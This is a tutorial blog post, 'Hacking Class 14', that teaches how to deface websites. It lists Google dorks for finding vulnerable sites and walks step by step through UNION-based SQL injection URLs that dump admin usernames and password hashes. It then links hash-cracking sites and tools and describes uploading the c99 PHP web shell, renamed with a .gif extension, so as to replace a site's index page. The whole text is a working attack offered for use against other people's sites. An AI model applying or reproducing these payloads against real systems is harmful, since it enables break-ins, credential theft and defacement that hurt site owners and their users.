Hacking Class 14 – How to Deface Websites Using SQL and Php Scripting?

FIRST OF ALL YOU SHOULD KNOW: WHAT IS DEFACEMENT?
Defacing a website simply means that we replace the index.html file of a site with our file. Then all the users who open it will see our page (i.e the page being uploaded by us).
For defacing a website, three things that you need are:
1. SQL Injection (for analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)

Now let’s start the tutorial:
First of all, I would like to say that I took parts of an SQL injection tutorial from my previous posts and a site: http://www.exploit-db.com. Most of it was written by me so I can clear up any confusion you may have. 

1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google searches can be wonderfully utilized to find out vulnerable websites. Below is example of some queries.
Examples: Open Google and copy and paste these queries:

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

Here are some additional queries (use them without quotation marks).

Now the Admin password hacking procedure starts:

You can also refer to my previous post of hacking websites:

Hacking websites: How to hack websites By using SQL Injection

1). Check for vulnerability

Let’s say that we have a site like this

http://www.site.com/news.php?id=5

To test if is vulernable, we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5′

If we get an message like:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar, that means the site is vulnerable to SQL injection.

2). Find the number of columns

To find the number of columns we use the statement ORDER BY (tells the database how to order the result). Increment the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <– no error
http://www.site.com/news.php?id=5 order by 2/* <– no error
http://www.site.com/news.php?id=5 order by 3/* <– no error
http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this unknown column ‘4’ in ‘order clause’ or something like that)

that means that it has 3 columns, because we got an error on 4.


3). Check for UNION function
With union, we can select more data in one sql statement.

So we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3, then the UNION works .

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try —
it’s a comment and it’s important for our query to work properly.

Let’s say that we have the number 2 on the screen, now to check for the version.
We replace the number 2 with @@version or version() and get something like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error “union illegal mix of collations (IMPLICIT COERCIBLE) …”

I didn’t see any paper covering this problem, so I must write it.

What we need is convert() function

i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version.


5). Getting table and column name

Well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…). Later I will describe the MySQL > 5 version.
We must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s …

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…

i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good )

We know that table admin exists.

Now to check column names:

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

We get a username displayed on screen, examplse would be admin, or superadmin etc…

Now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

We see password on the screen in hash or plain-text, it depends of how the database is set up 
i.e md5 hash, mysql hash, sha1…

Now we must complete the query.

For that we can use concat() function (it joins strings)

i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that I put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Now we get displayed username:password on screen, i.e admin:admin or admin:somehash

When you have this, you can login like the admin or superuser.

If can’t guess the right table name, you can always try mysql.user (default)

It has user password columns, so an example would:
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5

As mentioned before, I’m going to explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

To get tables we use table_name and information_schema.tables.

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Here we replace the number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of the query to list out all tables.

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that I put 0,1 (get 1 result starting from the 0th)

To view the second table, we change limit 0,1 to limit 1,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.

For third table we put limit 2,1

i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get something useful like db_admin, poll_user, auth, auth_user etc…

Use the same method to get the column names.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
The first column is displayed.The second one (we change limit 0,1 to limit 1,1)

i.e.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*The second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc… 

If you want to display column names for a specific table, use this query.

Let’s say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
Now we get column name in table users. Just using LIMIT we can list all columns in table users.Note that this won’t work if the magic quotes are ON.

Let’s say that we found columns username, password, and email.

Now to complete the query, put them all together.

For that we use concat() , I described it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

What we get here is user:pass:email from table users.Example: admin:hash:whatever@blabla.com

** If you are too lazy to do the above work, you can use tools. They will do all the jobs:

1) Exploit scanner (this will find vulnerable websites)
Code:

2) SQLi helpper (this tool will do the injecting job, and get you the pass or hash)
Code:http://rapidshare.com/files/24802907…elperV.2.7.rar

*** Only use the tools if you are new to hacking. Do it manually; that’s the thrill and that is real hacking. When you do it manually you will understand the concept.On some websites you can directly see the password, but most of the websites encrypt them using MD5, so you have to crack the hash to get the password.

There are three ways to crack the password:
1) Check the internet to see whether this hash is cracked before:
Download:http://www.md5decrypter.co.uk

2) Crack the password with the help of a site:
Download::http://www.milw0rm.com/cracker/insert.php

http://passcracking.com/index.php

3) Use a MD5 cracking software:
Download:http://rapidshare.com/files/13696796…CF_2.10_2b.rar

Password = OwlsNest2) DEFACING THE WEBSITE

After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. There are three methods to find the admin panel.

1) You can use an admin finder website:
Code: http://4dm1n.houbysoft.com/

2) You can use an admin finder software:

Code: http://rapidshare.com/files/248020485/adminfinder.rar
After logging in as the admin, you can upload photos to the site using a shell.

Download the shell here:

http://rapidshare.com/files/248023722/c99.rar

Extract it, you will get a c99.php, then upload it.
Some sites wont allow you to upload a php file, so rename it as c99.php.gif and then upload.
After that go to

http://www.site.com/images (in most sites images are saved in this dir, but if you cant find c99 there then you have to guess the dir)

Find the c99.php.gif and click it.

Now you can see a big control panel. You’re in!
Search for the index.html file and replace it with your own file. 
If anyone goes to that site, they will see your page.
Log out and you’re finished!
